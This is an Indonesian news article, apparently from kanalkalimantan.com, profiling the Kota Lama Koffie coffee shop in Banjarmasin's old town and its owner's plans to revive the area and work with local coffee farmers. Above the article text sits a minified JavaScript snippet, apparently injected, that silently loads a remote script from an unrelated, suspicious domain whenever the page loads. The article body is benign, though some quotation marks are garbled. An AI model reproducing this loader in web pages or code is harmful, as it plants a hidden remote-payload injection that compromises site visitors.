(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Layaknya oasis di padang gurun, begitu pula kedai kopi bernama Kota Lama Koffie ini berdiri gagah di antara bangunan-bangunan yang telah mati di sekitarnya. Kedai yang terpatri kokoh di jalan simpang Hasanuddin HM ini menambah lagi daftar kedai kopi yang menghiasi pojok kota Banjarmasin.
Menganut paham bisnis sociopreneur, Happy Bima, si empunya usaha mengatakan, ia banyak menggunakan barang-barang daur ulang dan barang-barang lama milik pribadi untuk mempercantik kedai kopinya. Selain itu hal ini ditambah juga karena ketertarikannya akan barang-barang bertema old school (jadul).
Sociopreneur adalah usaha atau bisnis yang tidak hanya mengambil keuntungan semata, tapi juga ada unsur sosial di dalamnya. Usaha ini juga berkontribusi dalam kesejahteraan banyak orang.
Semenjak berdiri kurang lebih 3 pekan, kedai berlantai dua dengan luas 9×12 ini sudah mulai menambah warna bagi kawasan yang tidak jauh dengan pasar Sudimampir itu.
Jika biasanya kawasan ini hanya dipenuhi kendaraan yang parkir di sisi jalan dan beberapa pekerja yang fokus dengan barang-barang di beberapa ruko yang telah menjadi gudang, kini kawasan itu mulai dilalui hilir mudik beragam kalangan muda maupun beberapa pekerja kantor yang terpincut rasa penasaran akan Kota Lama Koffie.
Sudah dua tahun pria berambut keriting ini mengincar wilayah tersebut untuk kedai kopinya. Dengan kedainya, ia berharap dapat kembali membangkitkan kembali wilayah yang pernah jaya pada masanya itu. “Ini kan kawasan kota tua. Ekonomi pernah bagus di sini, hingga akhirnya mati. Kita coba hidupkan kembali,†tuturnya.
Berbekal ide dari salah satu temannya yang juga mempunya usaha kopi, ia pun setuju untuk terjun berbisnis kopi. Setelah belajar di Makassar, ia kembali ke Banjarmasin untuk menerapkan ilmunya. Biji kopi yang berasal dari Jawa Timur dan Mamasa, Makassar, menjadi salah satu tawaran di kedainya untuk pilihan kopi tradisional.
Biji kopi tersebut dipilih bukan tanpa alasan. Happy sendiri mempunyai harapan yang besar bisa merangkul petani-petani kopi lokal untuk bekerja sama. Namun, harus diakuinya bahwa kualitas biji kopi petani lokal saat ini masih belum sepenuhnya bagus. Sehingga hal ini nantinya tentu akan mempengaruhi cita rasa kopi racikannya. “Besar harapan ingin bekerja sama dengan petani lokal. Saya harap ada support dari pemerintah juga untuk kopi lokal. Karena standart rasa berpengaruh,†terangnya.
Berbekal modal awal kurang lebih 100 juta, kini Kota Lama Koffie milik Happy telah tampil menarik dengan dua orang karyawannya. Bahkan berbeda dengan kedai kopi yang bisanya buka menjelang tengah hari, Kota Lama Koffie buka dari pukul setengah delapan pagi hingga sebelas malam setiap harinya. “Kecuali hari Minggu, kita buka mulai jam dua siang sampai jam sebelas malam,†bebernya. (mario)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.